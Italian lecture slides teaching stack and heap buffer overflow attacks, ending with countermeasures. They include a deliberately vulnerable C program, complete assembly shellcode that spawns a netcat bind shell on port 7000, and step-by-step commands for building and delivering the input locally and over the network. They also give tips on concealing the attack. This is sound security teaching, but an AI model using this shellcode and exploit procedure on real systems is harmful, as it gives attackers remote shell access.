

attacchi basati su buffer overflow

buffer overflow

- nell'esecuzione di un programma, il momento in cui in un buffer vengono scritti più dati di quanti ne possa contenere
- se l'errore non viene rilevato (validazione dell'input) altre variabili cambiano valore
 - crash del processo
 - **comportamento anomalo**
- anche detto ***buffer overrun***

attacco di tipo buffer overflow in sintesi

- descritto per la prima volta in Aleph One. Smashing The Stack For Fun And Profit. e-zine [www.Phrack.org](http://www.phrack.org) #49, 1996
- l'attacker sfrutta un buffer overflow non verificato
- il suo scopo: ottenere una shell che gli permetta di eseguire comandi arbitrari sul sistema
- tipologie di attacchi basati su buffer overflow
 - stack smashing
 - sempre meno rilevante
 - utile dal punto di vista didattico
 - heap smashing

flokllore

- phrack è una e-zine scritta da hacker per gli hacker
 - scritta in formato ascii
 - numerazione delle edizioni, delle sezioni e delle pagine in esadecimale 0x01, ..., 0x0a,...
 - tutti i numeri sono firmati con PGP
- ultimo numero (il 63), agosto 2005
 - primo numero nel 1985
 - articoli su argomenti tipo “come telefonare gratis”
- archivi consultabili on-line <http://www.phrack.org>

rilevanza

- il buffer overflow è un problema del software scritto in C e C++
- tutto il software di base è scritto in C
 - kernel, comandi del sistema operativo
 - ambiente grafici

rilevanza

- molto software applicativo è scritto in C e C++
 - suite di produttività (es. office)
 - viewer (es. acrobat per i pdf)
 - web browser (explorer, firefox, ecc.)
 - mailer (outlook, eudora, ecc.)
 - interpreti (Java Virtual Machine, python, perl, bash)
 - dbms (oracle, sql server, mysql postgres)
 - moltissimi server (web, mail, dns, ftp, dbms, ecc)
 - p2p (eMule, napster, ecc)
- gran parte di questo software riceve input non fidato
 - ad esempio scaricato dalla rete o pervenuto via email
 - costruito per attendere richieste non fidate (server, p2p)

l'obiettivo da attaccare

- l'attaccante identifica un **processo** che non controlla il confine di almeno uno dei suoi buffer
 - C e C++ di default non effettuano il controllo
 - ...non sono progettati per farlo, prediligono l'efficienza
- il processo può essere
 - già in attesa di input dalla rete
 - lanciabile dall'attacker se questo è già un utente del sistema
 - lanciato dall'utente con input non fidato

esempio: un programma vulnerabile

```
#include <stdio.h>

int main(int argc, char** argv)
{
    f();
}

void f()
{
    char buffer[16];
    int i;
    printf("input> ");
    /*svuota il buffer*/
    fflush(stdout);
    scanf("%s", buffer);
    i=0;
    while ( buffer[i] != 0 )
    {
        fputc(buffer[i]+1, stdout);
        i++;
    }
    printf("\n");
}
```


principi: organizzazione della memoria

- la memoria di un processo è divisa in
 - programma (r-x)
 - dati (rwx)
 - stack (rwx)
- ciascun sistema operativo ha proprie particolarità ma tutti hanno almeno programma, dati e stack

principi: stack frame

- un insieme di dati nello stack associato all'esecuzione di una funzione
 - la chiamata a funzione genera un frame
 - *il ritorno da una funzione cancella il frame*
- uno stack frame contiene
 - indirizzo di ritorno
 - **variabili locali (che possono essere usati come buffer)**
 - parametri attuali della funzione (cioè gli argomenti)

principi: stack frame



```
main ( . . . . )  
{  
    variabili locali  
    f ( . . . . )  
}  
  
f ( . . . . )  
{  
    variabili locali  
    . . .  
}
```

l'attacco prevede...

- iniezione di codice macchina arbitrario (payload) in memoria
 - o nel buffer
 - o in zone limitrofe grazie (al bug di buffer overflow)
- redirectione verso il codice
 - cambiamento del return pointer contenuto nello stack frame (in prossimità del buffer)
- entrambe le cose sono effettuate mediante la creazione di una stringa di input adeguata

redirezione verso il codice arbitrario

- l'input sovrascrive il return pointer
- il payload viene eseguito quando la funzione chiamata “ritorna” al chiamante


situazione normale dello stack

main (. . .)

```
{  
    variabili locali  
    f ( . . . )  
}
```


f (. . .)

```
{  
    char buffer[10];  
    int i;  
    . . .  
}
```



direzione di
crescita
dello stack

stack smashing



```
main ( . . . . )
```

```
{  
    variabili locali  
    f ( . . . . )  
}
```

```
f ( . . . . )
```

```
{  
    char buffer[10];  
    int i;  
    scanf ("%s", buffer);  
}
```

creazione dell'input

- la creazione dell'input con il payload (o shellcode) è una attività complessa:
 - non si sa che eseguibili ci sono sulla macchina
 - es. che shell sono installate?
 - non si sa se sono a disposizione funzioni di libreria statiche o dinamiche e quali
 - aggirabile con l'uso diretto delle system call

creazione dell'input

- la creazione dell'input con il payload (o shellcode) è una attività complessa:
 - il codice deve funzionare una volta posto in qualsiasi punto della memoria
 - uso di indirizzamenti relativi rispetto a program counter (non disponibile nell'architettura i386)
 - estrazione del program counter + indirizzamento con registro base
 - non si sa esattamente dove è il return pointer
 - replichiamo il valore che si vogliamo mettere nel return pointer un po' di volte sperando di sovrascrivere il punto dello stack frame dove il return pointer originario è memorizzato

creazione dell'input

- ancora...
 - non si sa che valore mettere nel return pointer cioè quale è l'entry point del nostro payload
 - uso di istruzioni nop per avere un range di entry point validi
 - attenzione, troppi nop potrebbero far sfiorare la zona valida dello stack provocando un crash della procedura di input, es. scanf()
 - provare provare provare...
 - le prove possono essere automatizzate
 - molti nop diminuiscono il numero di prove

creazione dell'input

- e ancora non è tutto!...
- l'input deve essere letto tutto!
 - ciò non è scontato, scanf() separa i campi mediante spazi (ascii 0x20), tabulatori orizzontali (ascii 0x09) e verticali (0x0b), new line (0x0a), e altri
 - tali valori non devono essere presenti nell'input
 - ma l'input è un programma!!!!

creazione dell'input

- es. in Linux per lanciare un eseguibile si usa la system call `execve()` che ha codice 11 (0x0b)
 - l'istruzione assembly: `mov $0x0b, %eax`
 - codificata con: `b8 0b 00 00 00`
- work around, codice equivalente codificato senza 0x0b
 - `b8 6f 00 00 00` `mov $0x6f,%eax`
 - `83 e8 64` `sub $0x64,%eax`

creazione dell'input

- strcpy() termina la copia quando incontra il terminatore di fine stringa (0x00)
- se dovessimo creare un input per strcpy() dovremmo evitare gli zeri nell'input

la funzione deve terminare!

- se la funzione non giunge a termine il return pointer non verrà mai letto
- attenzione a modificare le variabili locali della funzione potrebbero far andare in crash il programma
- se tra il buffer e il return pointer non ci sono variabili...
 - la situazione è ottimale, il buffer overflow non modifica le variabili locali della funzione
- se tra il buffer e il return pointer ci sono altre variabili...
 - attenzione!!!! bisogna trovare dei valori che facciano terminare la funzione!

creazione del payload

il payload può essere...

- scritto direttamente in linguaggio macchina byte per byte direttamente in un file
- scritto in C, compilato, e trasferito in un file mediante l'uso del debugger o di objdump
 - il compilatore non ha tutti i vincoli che abbiamo noi, sicuramente il codice prodotto va modificato a mano
- scritto in assembly, assemblato e trasferito in un file mediante l'uso del debugger o di objdump
 - massima libertà

esempio di struttura di un input malevolo

- riempimento del buffer:
 - 0x00 **lunghezza del buffer**
- fake return pointer
 - <payload entry point> **distanza stimata dal buffer (es. 4 o 8)**
 - **attenzione alle variabili locali!!!**
- **dati del payload**
 - **es. stringa con il nome del file da lanciare “/bin/sh”**
- **sequenza di istruzioni nop**
 - **più sono più è semplice trovare il payload entry point**
- **il payload propriamente detto**

esempio di payload

- vogliamo che il payload esegua
 - `/bin/nc -l -p 7000 -c "/bin/sh -i"`
 - `/bin/sh -i` è una shell interattiva
- stiamo assumendo che siano installati sulla macchina
 - `/bin/nc`
 - `/bin/sh`
- usiamo la system call `execve()`
 - fa partire un altro eseguibile al posto del processo corrente (mantiene il PID)
 - il processo corrente scompare!

execve()

- in C vedi man sezione 2
- in assembly...
 - in %ebx il puntatore alla stringa che contiene il pathname dell'eseguibile
 - in %ecx il puntatore ad un array di puntatori (terminato da zero) che contiene puntatori alle stringhe dei parametri.
 - in %edx il puntatore ad un array di puntatori (terminato da zero) che contiene puntatori a stringhe che definiscono l'environment (“nome=valore”)
 - in %eax il valore \$0x0b che identifica execve
 - int 0x80

execve()

riempie buffer

fake rp

dati

```
.data      # put everything into the data section
buffer: .space      16, 'A'          # dummy, it represent the buffer to smash
        .set        myeip, 0xbffff670  # fake return pointer
        # we do not know exactly where the %eip is saved
        # then we put here more than one copy
        # this is a fortunate situation since the buffer is located very near
        # to the return address, no local variable is affected and hence
        # function finishing is granted
        .long        myeip
        .long        myeip
        .long        myeip
        .long        myeip
        .long        myeip

# the data of the payload

p0: .asciz          "/bin/nc"          # executable to launch with parameters...
p1: .asciz          "-l"              # listen mode
p2: .asciz          "-p"              # port
p3: .asciz          "7000"            # 7000
p4: .asciz          "-c"              # command to execute when connected:
p5: .ascii          "/bin/sh"         # a shell
p5b: .asciz         "!\n"             # "!" will be translated into a space

args:   #arguments array
pp0: .long          0
pp1: .long          0
pp2: .long          0
pp3: .long          0
pp4: .long          0
pp5: .long          0
pp6: .long          0

env: .long          0                # no environment
```

execve()

sys
call
sistema parametri syscall
prende
indirizzo
nop
nop
...

```

nop
nop
...
nop

# get the address of the pop instruction
call self
self: pop %ebp
#set up parameters
leal    (p0-self) (%ebp), %ebx # first argument: pathname executable

leal    (args-self) (%ebp), %ecx # second argument: pointer to array of strings

leal    (p0-self) (%ebp), %eax # in the array
movl    %eax, (pp0-self) (%ebp)
leal    (p1-self) (%ebp), %eax
movl    %eax, (pp1-self) (%ebp)
leal    (p2-self) (%ebp), %eax
movl    %eax, (pp2-self) (%ebp)
leal    (p3-self) (%ebp), %eax
movl    %eax, (pp3-self) (%ebp)
leal    (p4-self) (%ebp), %eax
movl    %eax, (pp4-self) (%ebp)
leal    (p5-self) (%ebp), %eax
movl    %eax, (pp5-self) (%ebp)

#p5b should be traslated into a space
decbl   (p5b-self) (%ebp)
leal    (env-self) (%ebp), %edx # third argument: environment

movl    $111,%eax
subl    $100,%eax
# system call number 11 (sys_execve)
# this fancy way does not introduce white-space characters

int     $0x80 # call kernel
```

creazione dell'input

- `as -o nomefile.o nomefile.S`
 - crea il file oggetto assemblato
- `objdump -s --section=.data nomefile.o`
 - mostra un dump esadecimale
- un semplice script (in perl o python) può agevolmente creare un file i cui byte provengono dall'output di `objdump -s`

test dell'attacco in locale

- situazione
 - programma vulnerabile: main
 - file contenente l'input malevolo: gun
- comando per il test
 - `main < gun`
 - provare da root
- verifica: `netstat -l -a --inet -n`
 - deve apparire un server sulla porta 7000
- verifica: `telnet localhost 7000`
 - provare da utente
 - una shell per la stessa utenza in cui girava main (es. root)

test dell'attacco in rete

- situazione
 - programma vulnerabile: main su server
 - file contenente l'input malevolo: gun sul client
- lanciare il server
 - `nc -l -p 5000 -c ./main`
 - oppure `while true; do nc -v -l -p 5000 -c ./main ; done`
- lanciare il client malevolo
 - `cat gun | nc indirizzoserver 5000`
- sul server: `netstat -l -a --inet -n`
 - deve apparire la porta 7000 in listen
- dal client: `telnet indirizzoserver 7000`

detection

- il processo server originario viene completamente sostituito dalla shell del cracker
 - è un approccio semplice ma invasivo
 - è possibile che venga tempestivamente rilevato dagli utenti
 - l'amministratore potrebbe scambiare il problema per un bug del server
 - sui log del server e di sistema non appare nulla di anomalo
 - IDS sull'host: nessun file è cambiato nel filesystem
 - c'è però la shell sulla connessione tcp visibile con netstat
 - IDS di rete potrebbero riconoscere l'attacco, se noto
 - solo sistemi a livello di system call possono essere efficaci nella rilevazione
 - es. acct, se attivo, loggerebbe l'esecuzione di una shell

nascondere l'attacco

- un attacco che lasci intatto il server è possibile ma...
 - richiede di modificare lo stack solo il minimo indispensabile
 - richiede l'uso della system call `fork()` per **duplicare** il processo
- `fork()` è la stessa syscall usata da tutti i server quando devono servire una richiesta e contemporaneamente continuare ad attenderne delle altre
 - non è difficile da usare
 - rende il payload un po' più grande
 - uno dei cloni esegue `execve()`

mascherare l'attacco

- invece di usare una connessione tcp si può usare udp
- anche un server in attesa sulla porta upd viene rilevato da netstat
 - è possibile però mascherare l'indirizzo dall'altro capo (udp è non connesso)
 - tale indirizzo viene comunque rilevato da uno sniffer nel momento in cui arrivano pacchetti

contromisure

(programmatore)

- evitare i buffer overflow nella programmazione!!!
 - è molto difficile
 - si può cambiare linguaggio ma normalmente si perde in efficienza
- usare compilatori particolari che si accorgono del cambiamento di valore di alcune locazioni nello stack prima di ritornare da una funzione
 - canary
 - canarini che cantano quando c'è un buffer overflow
- alcune patch del gcc che prevedono canaries
 - StackGuard
 - PointGuard (evoluzione di StackGuard)
 - IBM ProPolice
 - riordina anche le variabili nello stack

contromisure

(da amministratore)

- far girare solo processi senza bug di sicurezza noti
 - richiede rilevante lavoro di amministrazione
- far girare i processi più esposti con utenze non privilegiate
 - l'hacker si troverà a dover fare un ulteriore attacco all'utenza privilegiata
- usare “intrusion detection systems”
 - poiché il cracker sicuramente farà altre attività sulla macchina si potrebbe *“tradire”*
- application level firewalls o proxy applicativi
 - devono conoscere il protocollo e filtrare input non ammessi

contromisure

(da progettista di sistema)

- modificare il kernel in modo da rendere l'attacco difficile
- rendere lo stack non eseguibile (NX cpu extension)
 - supportato su Linux $\geq 2.6.8$ e processore con supporto hw (si su x86 64bit, normalmente disabilitato su x86 32bit)
 - non protegge dall'esecuzione di codice che già è contenuto nella sezione .text (il programma e le librerie linkate)
 - alle volte i compilatori (e gcc) mettono codice nello stack per i propri scopi
 - in Windows supportato da versioni $\geq$ XP SP2 (data execution prevention - DEP)
- address space layout randomization (ASLR)
 - `/proc/sys/kernel/randomize_va_space`
 - in Windows supportato da versioni $\geq$ Vista
- non risolve definitivamente il problema ma moltissimi attacchi noti vengono comunque invalidati

il codice nei posti più impensati...

- non necessariamente il codice deve essere «iniettato»
- si può eseguire codice di libreria condivisa
 - in windows certe librerie standard sono caricate ad indirizzi noti
 - esistono «inventari» di routine utili da chiamare

buffer overflow: heap smashing

- il buffer può essere allocato nello heap
 - `void* malloc(int size)`
- è possibile usare il buffer overflow anche se il buffer non è allocato sullo stack
- la tecnica sfrutta l'idea che spesso assieme alle strutture dati vengono memorizzati puntatori a funzioni
 - tali puntatori giocano un ruolo simile al return pointer
- la programmazione a oggetti, e il C++, fanno largo uso dei “puntatori a codice” nelle strutture dati

buffer overflow: formati con string size

- esempio, int di 32 bit
- con segno tra -2147483648 e +2147483647
- senza segno tra 0 e 4294967295
- alcuni formati rappresentano una stringa non con lo zero finale ma con il numero di caratteri da leggere prima della stringa
- quanti byte devo leggere se il numero di caratteri della stringa è -1?
- attenzione potrei leggere 4294967295 caratteri!

buffer overflow: interi e buffer dinamici

- possiamo pensare di allocare un buffer dinamicamente della lunghezza che ci serve
 - in C si fa con `malloc(int)`
- so che devo leggere *len bytes* mi serve un *buffer di len+1 bytes*
 - *perché ho lo zero finale*
- quindi alloco il buffer con `malloc(len+1)`
- che succede se *len* è pari a 4294967295?
quanto è lungo il buffer allocato?

<http://www.metasploit.com/>

- un sito che raccoglie e fornisce strumenti per la costruzione di exploit basati su vulnerabilità del tipo buffer overflow